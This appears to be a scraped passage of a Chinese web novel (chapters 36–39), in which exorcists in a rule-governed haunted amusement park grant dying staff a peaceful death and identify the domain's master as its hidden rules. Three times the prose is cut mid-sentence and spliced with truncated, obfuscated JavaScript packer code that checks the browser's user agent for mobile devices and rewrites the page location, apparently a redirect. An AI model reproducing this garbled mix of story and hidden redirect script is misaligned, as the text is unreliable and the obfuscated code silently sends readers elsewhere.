l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376320|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出了一个微笑的表情。 “很好,我想听到的也是这些。” 他安慰道:“不要害怕。混沌只会吞噬我,不会来找你们。” “每一个被黑色完全覆盖的工作人员,都会遭遇这样的结局,这是我迟早要经历的。” “你刚才的推测是对的,季小姐。看来,你的确揭破了属于这个灵域更深层次的秘密,所以与你讨论这些的我才会如此迅速而深层地违反规则,遭到混沌的惩罚。” 他的声音渐渐低下去,有黑色如同蒸汽的东西从他的脸颊、脖颈、手套等暴露着皮肤的地方丝丝缕缕升腾起来。单是看一眼,我便认出了那令人恶心恐惧的黑色存在——有混沌将从陈自同的身体中破土而出了。 陈自同即将这样死去了? 我一阵悚然,竟不知要说些什么。 面前男人的面目渐渐扭曲起来,似乎正在极大的痛苦中极力维持平静,从仿佛被掐紧的脖颈间挤出的声音断断续续。 “你们……先走吧……” 他努力阖上眼皮,完全被混沌侵占的眼球仿佛已经融化成黑色的石油,正透过眼皮的缝隙朝外涌出。混沌正迅速侵占他的全身,将整个人变异成另外一种存在。 单单是目睹这一情形,便已经足够骇人。不断涌现的混沌也与昨晚我在二楼见过的混沌并无两样,同样的残酷、邪恶,仅仅是看上一眼,就足够令人头脑眩晕。那么被这样的存在冲破身体,彻底吞噬呢? 我回想起不久前在超市二楼房间里见到的惨状——这就是被混沌所侵占的末路吗? 紧接着,大约是彻底无法忍耐,陈自同的喉咙开始挤出痛苦的呻吟,而后逐渐发展为足以令人头皮发麻的叫声,痛苦和恐惧终于撕裂了他作为人类的理智。 大量的黑色冲破衣物而出,以陈自同为圆心朝着周围迅速铺开,我避开混沌,迅速后退,眼见便退到了马戏团的戏台之上,混沌才逐渐停止在了此处。 站在高处,陈自同的痛苦愈发清晰可见。如同被黑色的火苗所炙烤,即便整个人已经被混沌吞噬大半,仍然能从扭曲的姿态中感受到他尖锐清晰的痛苦,被放大而沙哑的声音从高亢转为无声的气音,不知是喉咙已经沙哑,还是已经彻底失去了喊叫的气力。 被混沌吞噬的过程如此漫长。 我沉默地看着这样的一幕,渐渐的,马戏团二楼有门打开,工作人员从门后出现,他们似乎已经理解了现下的情况,只是为了目送他们的同伴一程,无声地站立在二楼,庞大的悲伤氛围沉入空气,压抑着的抽泣将时间凝结在这一刻。 ——到底还要持续多久? 我还能做点什么? 片羽突然出现,心念转动之际,银色的丝线如同离弦飞箭,迅速射出,直直插入了陈自同不成形状的身体之中。 既然片羽可以切断控制、切断我的意识,为什么不能切断陈自同的恐惧和痛苦? 既然结局无法更改—— 我想给他一份平静体面的死亡。 36. 风铃游乐园游客守则15 虽然理论如此,但我也只是依照经验推断出片羽能够切断陈自同对于痛苦的感知,至于具体要如何去做,在出手的这一刻,我尚且缺乏头绪。 回想起最初片羽切断灵域对我的操控之际,那一刻,在我的意识中,我分明看到针对于我的控制在眼前具体化为了某种可以切断的形状。 那么现在,或许我也需要感知到陈自同的恐惧和痛苦,才能尝试将其切断。 片羽插入陈自同的身体里的瞬间,仿佛是搭建起什么微妙的联结,我听到了陈自同在剧烈痛苦下的心念声音。 他同样也感知到了片羽作为灵能力对他的侵入。 “季小姐?”恐惧与痛苦凝结出杂乱的心声之下,我听到陈自同微弱的疑问。 我终于忍不住纠正他:“我不姓季,我叫苏吉光。” 他的心声居然轻微地波动一下,似乎是有些惊讶。 “苏吉光,我听过这个名字。”他努力将与我对话的心声放大,似乎想以此转移被痛苦和恐惧所折磨的意志。 “你不是早已经死了……哦你说过,你是残灵。” 我没心情和他聊这些,全部注意力集中在他的情绪之上。在我的审视之下,脑海里陈自同的情绪渐渐具象起来,挣扎窜动如同火苗,正在陈自同的体内不断翻滚。 意念转动之际,片羽如利剑一般挥斩而过,将其切断割除——恐惧和痛苦如同根系断裂,化为云烟,消散在陈自同的意志之中。 我听到陈自同心中声音猛地抬高:“怎么回事?” “我切断了你的恐惧。”我解释道,“抱歉,我没有办法救你,只是希望这样能让你减少一些痛苦。” “原来如此……” 陈自同沉吟一句,心声渐渐恢复了之前的稳重,“谢谢。这就是你灵能力的效果吗?我的印象里,你的灵能力并不是这个。” 我原本想抽身从他的情绪中离开,陈自同被切断了痛苦,剩下也只是平静等死——但这个话题实在令我无法拒绝,我忍不住追问:“你知道我?” “少年天才不总是格外有知名度么?”他的笑里有些沉重,“只可惜英年早逝。不过看到你作为残灵,依然在从事驱灵工作……很好,很好。” 他自顾自地叹息,“如果我还能离开这个灵域,哪怕身体已经死了,仅仅作为残灵,也想像你这样……” 我不解:“就这么想做驱灵师吗?” 我听到他再次地笑了。 “人活着,总是有想做的事情吧。我找到了这件事,即便为此而死,我也……” “不……遗憾……” 混沌终于将他吞吃殆尽,连微弱的意识也断断续续。 我听到他最后的声音。 “你……应该……也是这样……的吧?” 我是怎样的? 我愣住了。不知是为陈自同的死,还是这样一个问题。 我想起乐语的话。 “你知道真正的问题是什么,只是没有说而已。” “……我没办法给你答案,你也不需要我的答案。” “你肯定有自己的答案。” 乐语的确对我有所了解——我有自己的答案,只是尚且不敢认清、不敢说出来。 这一刻,在陈自同最后的问题中,一切都浮出水面,变得明晰透彻。 我…… 尚未出口的答案被突然打断,一股来自身体的巨大冲击将我的意识从片羽连线的他人遗骸处扯回,恢复我身体的视觉,再次观察周遭,我才悚然发觉,混沌竟不知何时沿着片羽的连线,渗入了我的身体之中。 在我意识恢复的下一秒,凌厉的风声从我眼前掠过,霎时间斩断了连接着我和陈自同的片羽。 混沌是沿着片羽朝我而来的,片羽被斩断之际,它们也便瞬间失去了依凭,然而下一秒,缕缕缠绕在片羽上的混沌豁然散开,水滴状烟沙状停滞在空气之中,只呆愣了一秒,便如同粒粒子弹,飞射袭来。 这瞬间仿佛静止,我已然做好准备迎接来自混沌的冲击。然而预期的痛感尚未产生,眼前的一切骤然大变。 周遭一切迅速移动起来,事物在我的视野之中连成色彩各异的长线条,直到数秒后我才找回对自己处境的掌控。 姚千正带着我迅速移动。 我想起来了,速度也是姚千所复制的灵能力之一。 十几秒后,我和姚千已经站在开阔之处。海盗船的巨大轮廓出现在不远的前方,在这短暂的时间里,姚千竟然带着我穿过密林旁的长道,跨越千米,从游乐园的东南角来到了接近中心的位置。 这就算是安全了吧? 虽然尚且不明白为什么混沌会对我发起攻击,但脱离险境还是令我长舒一口气,这口气尚未喘匀,极为不祥的预感便从意识中突然出现。 “小心。”姚千说出这话时,手臂用力,带着我挟风从地面离开。下一秒,大量的黑色从灰色的地面出现,片片地砖如同被扔进熔炉的硬糖般扭曲融化,随即彻底被同化成石油般的样子。 姚千抓紧我的手,我听到他的声音:“继续走。” “这样下去不是办法。”视角继续迅速变化中,我朝姚千喊道。 游乐园就那么大,只要混沌想追,跑到中心位置的海盗船跟跑到西北角的影院并没有本质的区别。 “怎么办?”姚千语气仿佛是理所当然一般地朝我问道,就好像问我我就一定会有办法一样。 我还真有。 “混沌追踪我应该是根据标记来的,”我道,“我要切断我和黑色标记之间的联系。” “好。”姚千答应了一声。 他这句回答莫名其妙,我正考虑怎样切断,周遭迅速变化的景物却突然缓慢下来,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390393|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛是姚千为了给我营造使用灵能力的环境而故意放慢了自己的速度。但仔细看去,我很快便又发现了不对劲。 树叶被风吹动的幅度,草叶被踩过后回弹的速度,都缓慢了不止数倍。 就好像是这个世界,只有我和姚千被按下了加速键,剩下的一切,都被困在了极其缓慢的时间之中。 顾不上思考现状的原因,我的全部注意力很快集中在手臂上的黑色印迹。虽然之前没有尝试过,但只要有了这个想法,实现起来也并不算十分困难,难度甚至在切断陈自同的恐惧之下。 我对时间的概念已经变得有些模糊,手臂上的黑色印迹彻底消失时,我转头朝姚千道:“先停下,我们试一试吧。” “劳驾,”姚千想了想,道,“我也沾到了混沌的印记。” 什么时候?我茫然之际,姚千一只手捋起自己右臂的衣袖,大片黑色印迹如同被散弹枪喷射过一般密布在他的右臂之上。 甚至不但右臂有,靠近右臂的背部也沾染了不少,清理起来比我从零到一还要花时间。 直到清理完毕,我们两人终于停下时,大概是因为使用灵能力逃跑的时间太长,姚千额头上也沁着一层薄汗。 好消息,我的推测是正确的,这一次停下,混沌没有继续追杀我们。 放心大胆地歪进路边的木质长椅上,我长舒一口气,缓了缓剧烈跳动的心脏,才想起追问姚千:“你的黑色印迹什么时候沾上的,我怎么一点也不知道?” “就在刚才。”姚千也坐进我身边的位置,脸色略显苍白,回答得简明扼要,平淡如水。 我眨眨眼,渐渐皱起眉。我想起来了,片羽被斩断的那一瞬间,分散开来的混沌射向我时,正像是密布在姚千右臂上的痕迹。由于那一刻姚千速度过快,所以连我也没有意识到,是姚千先挡下了这些混沌的袭击,才带我离开的。 毕竟加速是需要时间的,那些近到眼前的混沌已经无法甩掉。 毕竟是因为救我而受伤,我略感惭愧:“不好意思哈。” “没事。”姚千没看过,面朝前方,给出一个非常寻常且客气的回复,顿了顿,又道,“反正我说希望你注意安全,你也不会听的。” 听起来怎么这么阴阳怪气呢? 我扯扯嘴角:“那下次我再随意涉险,你就别救了呗。” 遭受我回怼的姚千却笑了,令我一瞬间以为有混沌已经入侵他的脑壳。 “我不是这个意思。”他说,“能有机会救你,我很高兴。” “原本,我也是被你救回来的。” 嗯?我似乎听到什么奇怪的过往故事,好奇心瞬间上头:“什么?” 姚千再次转过头,不再看我:“你还记得我说过,我是在一次残灵的袭击中,觉醒了灵能力吧?” “那个斩杀残灵、救下我的人,就是你。” 37. 风铃游乐园游客守则16 我想起乐语今早说过的话,过往线索被串联在一起,格外地清晰起来。 “所以,”我懂了,“照这么来说,我成为驱灵师确实要比你早很多,在你尚且是普通人的时候,我就已经是能够独立完成工作的驱灵师了。” “不但如此。”姚千摇头,我视线中隽秀苍白的脸显出回忆神色,接着微微笑了一下,“那时候你已经是相当有名的驱灵师了。” “苏吉光,你和别人都不一样,你是天才。” 说来实在惭愧,由于听得太多,我对天才这个词竟然已经失去了敏感性,听到这句话也并不觉得有什么特别了。 我想了想,道:“所以,我们其实并不是因为同为驱灵师而认识的,而是因为你的那次遇袭。” “是的,”姚千道,“在那之后,我觉醒了灵能力。之后在大学中再次相遇,我们熟悉起来,你便开始带着我参与驱灵工作了。” “哦。”我道,“所以乐语说你是我的徒弟也就是这么回事?” 姚千仿佛是被戳穿了一样地显出莫名的尴尬来:“嗯,作为驱灵师的一切,确实都是你教给我的,所以也常常以老师的身份开玩笑。” 姚千的这个反应实在是让人感到很有意思,我在长椅上平移几十公分,往姚千的方向靠了靠,有点恶趣味地想要多看看他的表情。姚千感知到了我的动作,轻咳一声即将恢复原本的平淡神色,却又被我下一句话打断。 “我还有一个问题,”我挑眉道,“乐语说,他不知道你和我谈恋爱的事情,这件事情不会是你在诓我吧?有见证人吗?” 我第一次在姚千脸上看到类似于瞳孔巨震的表情,虽然只有这么一瞬间,但也被我观察得十分清楚。 “没有见证人。”姚千连声音也僵硬了,紧接着又跟上一句,“但我没有说谎。” “没事没事,这个不重要。”我十分满意地拍拍姚千的肩,已经因为刚才的乐子从紧张中恢复了心情。 原本我也不是真的怀疑姚千,在这种问题上他实在没必要撒谎,况且情侣之间没有对外说明恋情,似乎也是人类的常见操作之一。 自顾自站起身,我活动了一下手腕脚腕,朝姚千道:“我们回去吧,乐语还在马戏团呢。” 姚千抬头看我,表情显示似乎是有话想说,但最后还是没说,嗯了一声起身跟上我的脚步。 “话说,”我走在前面,边走边道,“你之前怎么没有说起过这件事?” “我说过,我想你知道那么多生前的事情,或许并不是好事。”姚千的声音从身后传来。 “那你怎么突然又说了?”我转身看他。 姚千缓声道:“现在看来,是我想错了。即便我不说,你早晚也会知道的。” “时间确实很可怕,”他自顾自地继续道,“曾经的我是不会犯这种错误的。” 我们和乐语在马戏团门口重新汇合。除了乐语,还有一个看上去和我年纪相仿的女青年站在他的身边。 “我叫简一冬。”她朝我和姚千伸出手,神色中除了隐约的悲伤外,更多的是坚毅和干脆利落之感。 “陈哥说过,万一他出了事,组织就由我来负责。”她平静道,“但说实话,我也觉得够了。我能够理解陈哥的选择,即便被混沌吞噬,他也希望能了解到更多真相。” “所以组织的事情我交给其他人,继续陈哥的工作,来见你们了。” “很显然跟着我们会比较危险……” 陈自同的死亡还近在眼前,我难免存在心理阴影,“如果不是刚才我们在陈先生面前说了那些话,他就不会死了。” “没关系。”简一冬摇摇头,轻描淡写道,“我们早就已经死了,神志也迟早会归于覆灭。如果你们成功破除了灵域,我们将会在一无所知中死去,与其这样,倒不如多知道一点。” 她歪头看着我,“说实话,其实我现在很想知道你们到底说了什么,令规则的惩罚如此剧烈。” 我干笑:“还是别了吧?” “我开玩笑的。”简一冬抱臂,“所以,你们还有什么想了解的吗?” “我还有一个问题。”确认姚千和乐语都没什么要问,我想了想道,“回答完这个问题,就请你先回去吧。” 作为工作人员,是禁止和游客商讨关于乐园秘密的,这也就是为何刚才只有陈自同会被混沌认定为违反规则,而我们却并不会。 听到我的问题,简一冬皱了皱眉,神色似乎有些古怪,略微回忆了一下,随即说出了答案。这个回答虽然并非我预料之中,却也证实了我此刻的所思所想,沉默片刻,我道:“谢谢你,你先回去吧,我们有自己的事情想做。” 简一冬审视地打量我几眼,没有多说,转头便走,刚走出几步,却又被我叫住了。 我斟酌措辞,小心道:“话说,你刚才说,陈自同不怕死,你也不怕,那你们工作人员是不是都不怕?” 简一冬:“?” 乐语也惊悚地看我:“你想干什么?” 我耸耸肩:“就是随便问问。” 姚千则露出若有所思的神色,似乎在揣测我的想法。 简一冬的身影终于远去,消失在马戏团的场馆之中。我转头,回身向不远处的动物馆走去。和之前所见到的绝大部分设施一样,动物馆中同样没有工作人员,想来也是在躲着我们。 在门口,我们找到了属于动物馆的规则,上面记载着动物馆每日表演的时间,以及观赏动物表演时需要遵守的规则。 大略地看了两眼,我便伸出手去,揭掉了眼前的这张纸,随即从中间撕开,重复几次,将整张纸撕成了碎片。 陈自同曾经说过,想找到管理员的方法之一,就是撕掉张贴在游乐设施旁的规则。果不其然,没过一会儿,一道黑色的身影便出现在了动物馆的门口。 确实如同陈自同所说,那道影子只是隐约拥有人类的形状,仿佛是一个全身披了黑袍的人类,应当露出脸的地方却如同是一团一眼见不到底的黑洞,连光线也被吸收进去。它从动物馆建筑的黑影中渐渐凝结出形状,随即朝着原本贴着规则的地方踱步而去。 走到近前,它才发现应该已经被撕掉的规则,此刻正好端端地贴在原处。 那道黑影停住了,似乎是感到了一丝茫然。 它分明感知到,自己所管辖的规则受到了破坏,那眼前这张出现在眼前的纸又是什么? 黑影忍不住凑近了一些,想来很快它便会发现,这张纸相比于原来张贴的那道规则要新上许多。但发现之时,也已经晚了。 安静张贴在墙上的那张轻薄的、似乎因风吹日晒而略微泛黄的纸张,突然动了起来,如同骤然苏醒的怪物,霎时间放大到原本的数十倍不止,张开的白色大口朝着黑影猛扑过去,只片刻的愣神之际,便已经吞吃入口。 “还挺单纯的。” 乐语一笑,操控着纸张,将黑影紧紧缚住。 虽然拥有着类似混沌的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403927|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态,眼前的管理员却比混沌要好对付太多了。这也是为什么陈自同说他们已经多次杀死过管理员,却依然对混沌束手无策。 从隐蔽处离开,我们来到被擒获的管理员面前。躯干被纸张裹粽子一样裹得严丝合缝,管理员只露出一个没有脸的头,朝着我们的方向看来。虽然这存在并没有五官,但从细微的动作上也能看出来,它应当拥有属于人类的理智,见我们走近,它发出了人类的语言。 “原来是陷阱。” 不待我说话,它冷笑一声,“事到如今,你们还试图从我口中打听到灵域之主的下落?” 它的声音仿佛是从空荡的容器中反复碰撞,传导出来的,和人类的声线相去甚远。想想也正常,毕竟它也不存在人类的声带。 我站在它的面前,需要略微低头,才能与它那张不可见的脸两相对视,即便见不到它的眼睛,我也仿佛感受到了对方淡漠的视线。 “这倒是不用。” 我朝它露出一个友好的笑容,“我只是想和你聊聊天。” “呵。”它发出了一声嗤笑,显然并不相信我,刚要说些什么,却被我的话打断了。 “其实,从刚才被混沌所追逐,我就感到很奇怪了。” 我眨眨眼,语气温柔地朝它道,“或许你还不清楚刚才发生了什么事情,我来跟你解释一下。” “就在一小时前,有一位工作人员即将被混沌吞噬之际,我切断了他的恐惧。没有想到的是,在此之后,我却成为了混沌的目标,即便跨越半座游乐园,它们也试图追逐并吞噬我。” “为什么呢?”我自问自答。 “仔细想想,我做的事情不过是减少了那位工作人员的恐惧,并不违反游乐园对游客的规则,也不违反马戏团所在的规则——在这个以规则为主宰的灵域内,混沌却突然开始袭击我。” “要知道,即使是在混沌盛行的夜晚,只要我强制自己按照规则进入睡眠,混沌也会放弃对近在咫尺的我的攻击。” “之所以会出现这种情况,似乎只有一种解释。有一些我所不知道、并没有张贴在纸面上的规则在束缚着这里。相较于纸面上的规则,混沌更听从于这真正的规则——” “其实早已经很明显了。”我笑起来,“正如同遵守规则失去黑色印迹超过三天的游客会变成工作人员,黑色印迹过多的人会被混沌吞噬——这一切虽然也没有写在纸面上,但也都是属于这个灵域的规则。这些可比那些张贴在门口的规则,重要多了。” “混沌从违规者的体内吸取恐惧,以维持混沌本身的运行,显然也是灵域的底层规则之一。” “这个灵域中存在着更为重要的底层规则。” “基于此,我突然明白了……这个灵域中其实根本不存在所谓灵域之主的实体。”我叹息一般地轻声道,“要怎么寻找,都也只是白费功夫而已。如果真的存在那个所谓‘灵域之主’的存在,这么多年过去了,不可能连任何一个工作人员都没有见过她。” “在陈自同说出他们杀死过你之前,其实我最怀疑的对象就是身为‘管理员’的你。但如果连你也不是的话,我想,或许还有一个答案。” “灵域之主根本就不是在以人类的形貌存在。” “夏依然,她变成了我所说的,属于这个游乐园中真正的规则。” 我一边说着,一边观察着眼前的管理员。 些微的震颤已经出卖了它。 我知道,我赌对了。 38. 风铃游乐园游客守则17 “你在胡说些什么?” 它再次发出嗤笑,可惜的是已经迟了。 得到了答案的我心满意足,心也放了下来,气定神闲地看着它的表演,一言不发。很快,它也察觉到了我的态度,渐渐回过神来,缺少人类质感的声音终于爆出惊怒之感。 “你在诈我?” “驱灵师的工作……怎么能叫诈呢?”我摊手无辜道。 我的态度似乎近一步激起了它的怒火,它冷笑道:“就凭你,一只残灵,也自诩为驱灵师?和那些用蓝色圆珠笔的家伙一样,不自量力。” 我神色收敛了些,恢复了面无表情:“那你又算什么呢,夏依然。” 眼前的管理员没有否认,承认了我对她的称呼。 “追逐着自己幻想中的执念,连恐惧都要幻化成混沌加以利用,将游乐园变成游客与工作人员的地狱……这就是你所追求的,完美的规则?”我反唇相讥。 “在我猜测到夏依然或许化身成为这座游乐园内真正的规则之后,仍然不明白你作为残灵,所追逐的真正执念到底是什么。” “你所憎恨的仇人已经被你亲手所杀,到底是什么支撑着你化身残灵?” “直到我询问到简一冬,当她被杀死,变为工作人员时,是否发生过什么。” “她在脑海中听到了一些话。想来,这也是你的所作所为。” “成为至高之真理、无暇之规则的一部分……”我嘲弄地复述道,“原来如此,这就是你的执念。” “所以呢?”夏依然并不理会我,短暂的愤怒后,她也找回了理智,声音再次平静下来,“你以为你知道了这些,就能够破坏我的灵域?” “想来你也知道了,杀死作为管理员的我是没有用处的。真正的我作为这个游乐园中的规则,既然没有形状,就绝不可能被毁灭。” “连我都不知道,到底要怎么样才有可能杀死我。” 从她漆黑深邃的面庞中,传来了沉静的声音。 “是吗?”我凑近她,审视着她的神色,露出笑容,“这算是实话实说,还是欲盖弥彰?” “都不重要。”我淡淡道,“既然你已经落在我的手上了,我会让你看到,怎么才能杀死这个灵域中的规则。” 来不及观察管理员的情绪,下一秒,乐语所操纵的白色纸张突然剧烈地扭曲起来,似乎是属于管理员的身体骤然收缩,禁锢着她的纸也随之收紧。炸响声爆开的同一时刻,巨大的纸张在我的面前延伸开来,被气浪鼓起一团弧度,近乎贴上我的鼻尖。 管理员如同一枚空气炸弹,在我面前自行炸开了。 “……还能有这种操作吗?”我讶异地看着面前的情况。 姚千打量着周围,回道,“毕竟是与混沌本质类似,不存在真正实体的存在,倒也合情合理。” 我扯扯嘴角:“……合情合理。” 乐语原本绑缚着管理员的纸也已经因为刚才的小型爆炸而碎裂得乱七八糟,好在他的库存似乎不少,并不显出心疼的样子,倒是十分关心地看向我:“你刚才说能够杀死规则,是真的?” “当然,”我靠近动物馆门外不远处的长椅,坐了上去,“我也不是只会骗人的。” “不过在此之前……”我看向期待答案的两人,“让我们先吃点东西吧。” 现在已经到了中午一点多,自早晨从超市出来后,我们还什么都没吃过。作为一个拥有身体时间并不长的残灵,我对身体的各项感觉既陌生又敏感,更不想忍受所谓的饥饿。 好在我们的背包里都携带了食物,只是这一路上发生的事情太多,连充饥的空闲都没有。 简单地进食过后,我和姚千乐语三人再次进入了马戏团。 按照陈自同所说,每天下午两点,马戏团都会进行演出。既然是演出,就会有工作人员的出现——早知如此,上午在这里抓人倒是比在电影院快捷许多。 我们在观众席位坐定,两点时刻一到,台后的大门打开,果然上来了两个工作人员。 尽管之前对马戏团的表演有过隐约的猜测,但见到眼前的情形,我还是禁不住愣了一下。 首先,根据游乐园门口的规则,这个乐园中是不存在动物的。园内的情况也正是如此,入园后我见到的所有的类似于动物的存在,都是混沌幻化而成的。而此处既然是马戏团的表演,动物自不可或缺,故而在我的想象中,这里的表演大概率是与混沌密切相关的。 但事实却并非如此。 看着脖颈戴上锁链,四肢弯曲,脊柱变长,背后生有尾巴的工作人员,被另一个工作人员牵上表演台,台下的三位观众一齐陷入了沉默。 在长久遵守规则之后,肢体变形的工作人员,原来就是这个马戏团中所谓的“动物”。 ……游乐园的工作安排实在是懂得物尽其用。 两位工作人员虽然是在表演,但忌惮恐惧的眼神却明显是落在我们身上的。大概我们上午在电影院所做出的事情,已经在蓝色圆珠笔的阵营中流传开来,这两人也担心我们直接将他们抓走行拷问之举。 他们的担心实在是合乎情理,否则我们为什么会坐在这里呢?难道是真的想要观赏所谓的马戏团表演吗? 说实话,在看到两位出场前,我还对所谓的马戏团表演有那么一丝的期待,但眼见到这样的登场,所有的期待都已经瞬间消失——我实在是缺乏观赏这种表演的兴趣爱好。 牵绳的工作人员大概也无法违抗必须工作的规则,即便冒着被我们抓住拷问的风险,也不得不继续表演。只见他将目光艰难地从我们三人的身上挪走,转过头去,掏出打火机,点燃了马戏团上的火圈。 扮演动物的工作人员见状,也后退两步,似乎是想要进入表演的状态。 两人一个扮演驯兽师,一个扮演动物,倒是配合默契,动作僵硬地完成了开场的表演动作,很快来到了钻火圈的环节。 只见那位“动物”后退两步——我这才发现他的后腿竟然扭曲成和动物一样,与人类的关节方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412090|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是完全相反的——正欲加速,完成自己的表演动作,突然,似乎有什么东西将他绊倒,紧接着,仿佛是前脚模样的两只手被什么无形之物提了起来,将他整个人吊起在半空之中。 驯兽师愣了愣,很快意识到是我们所做的手脚,迅速地朝我们的方向瞥了一眼,只这一秒,他的双手也骤然牢牢束缚住,整个人被提起来,离开了舞台。 固定好片羽,我站起身,朝着台上走去,表演区被一片围栏围住,我抬脚正要跨越,却听到表演台上发出一阵哀求之声。 “求你们不要!” 我停下自己的动作,歪头看向被吊着的两人,抬眉做出一个疑惑的表情。 大概是看到我有所松动,表演动物的那个人声音抬高了些,朝我大声道:“让我们完成表演吧!如果不能按照规则完成这场表演,我们就会染上黑色痕迹的!” “是啊是啊,求求你们,先让我们完成表演,之后,我们会回答你们的问题的,真的,求你们了。” “我们已经进来了那么久,好不容易,好不容易才维持到现在……这个时候染上痕迹,就消不掉了,真的不知道还能不能消掉了……” “就给我们20分钟,20分钟我们就完成了……” 我听着他们的讲述,随即轻轻笑道:“这对你们这么重要啊?” 听到我的问话,两人更加激动,不住点头:“是的是的,真的很重要,求您了,我之后会跟您解释清楚的!” 我打量着两人,笑容渐渐收了起来。片羽随着意念而动,将两人从台上甩了下来,掉落在我的面前。 表演人已经离开舞台,一切都结束了。 摔进台下想必很疼,但两人却好像并察觉不到疼痛似的,写满全脸的均是惊悚与恐惧,扮演驯兽师的那位甚至立刻抓起自己的衣襟,想要查看自己身上是否已经沾上黑色痕迹。 “别看了。”我蹲坐在两人面前,“这都不重要。” 看到自己身上终于出现的黑色痕迹,那人双眼登时赤红,满腔憎恨化作仇恨的目光朝我而来:“你,你知道你干了什么吗!你,你们……” 站在我身后的乐语叹了口气,语气中带着些许悲悯:“我们知道。” “你们之所以做这些,甘愿变成这幅似人非人的模样,在规则下艰难地或者,只是不想被混沌所吞噬而已。” 那工作人员愣了愣,随即更加愤怒:“既然知道!你们还!” “以这样痛苦的方式也要活下来,是因为这个乐园里并不存在能够自我了解的选项。”我平静地看着他,“痛苦的死亡,和更加痛苦的死亡,不管做出什么选择,你们已经没有生路了。” “我确实没有对你们的选择进行评判的立场,但我不喜欢你们。如果是我,我不会做出这种选择。”我顿了顿,摇摇头,“算了,我说这些,不是想苛责你们。” “我只是想说……”说到这里,我的声音轻缓了些。 “我拥有让你们平静死去的方式,愿意来试试吗?” 39. 风铃游乐园游客守则18 次日中午。 坐在马戏团内的表演区,简一冬站在我面前,手中捏着一张纸,低头阅读,似乎在做什么确定。如此反复了两遍,她看着纸,陷入了短暂的愣神。 “不舍?”我出声,将她的意识拽回来。 “不至于。”简一冬收起怔忪表情,将手中的纸重新合上,“核对过了,所有人都离开了。” “只剩下我。”她补充道。 说罢,简一冬朝我问道:“蓝色那边呢?也都走了?” 我点头:“根据他们那边统计的情况,已经没有人了,从他们赴死的态度来看,比你们可要积极很多。” 简一冬扯起唇角,轻轻地笑了一声:“那可不么,他们活着的目的就只剩下死亡了。” 顿了顿,她低头看着我,突然道:“说实话,对这件事,你的把握有多大?” “七成吧?”我不确定地眨眨眼。 “为了七成的把握,你就要把我们都拿去送死?”简一冬歪头,语气中带着点开玩笑的意思。 我啊了一声:“这不是你们一心求死吗?” 简一冬似乎被我语气里的理所当然所震撼,啧了一声:“道理虽然是这个道理……但你也太没有心理负担了。” “即便是我们已经死去,即便这个灵域消灭之时,我们也会随之消失,但真的将这整个游乐园里的工作人员全部送走,甚至主动邀请他们去死——你看起来也太淡定了。” “还好吧,”我想了想,道,“因为我知道这是正确的,只要是正确的,我就愿意去做。” “即便猜错了又怎么样?”和简一冬的目光对视,我笑了笑,“即便规则不会因为这个而消灭,至少我将你们渴望的解脱送给了你们。” 简一冬抿唇,片刻叹息道:“你真的是个很有意思的人。是叫苏吉光吗?我居然对你一点印象都没有。” “哦,”我道,“那说明你资历尚浅,认识我的人其实不少。” 听到我厚颜无耻的回答,简一冬露出无语神色:“我对近几年来的年轻驱灵师还是相当了解的,何况我进来这里也还不到一年,你总不是成为驱灵师还不到一年吧?” “不是一年,而是很多年。”我道,“我已经死了很多年了。” 简一冬皱眉:“你是残灵?” “对,而且是一只失去记忆的残灵。”我悠悠道,“真要说的话,作为驱灵师,我还是一个新手。” “话说回来,”我突然想起什么,看向对方,“从这里出去后,我打算调查自己当年的死因,你有没有什么好方法推荐给我?” 简一冬似乎被跨度极大的话题惊了惊,沉默两秒,道:“要说方法,我也没有什么新颖的。但如果你想要的话,我可以将自己的论坛账号留给你用。” 论坛,我很快想起来,这个词汇也曾经在乐语口中出现过。 “那是什么?” “一个独立的网站,官方建立的,专供驱灵师内部使用。”简一冬简单解释,“需要登录账号才能浏览和发帖,只有经过官方注册的驱灵师才能申请账号。” “不过我听说驱灵师死后,相应的账号并不会自动注销,不知道现在有没有修复——我把账号和密码告诉你,你可以等离开这里之后,自己去试一试。” 她也冲我一眨眼,“祝你能有这个机会。” 交代完毕,我依照过去一天中对每个工作人员做过的那样,切除了属于简一冬的恐惧。 在昨天的经历后,我意识到,只要切除恐惧,即便触犯规则被混沌吞噬,对于游乐园中无法自行死亡的工作人员而言,也算是拥有了一种平静的解脱方式。 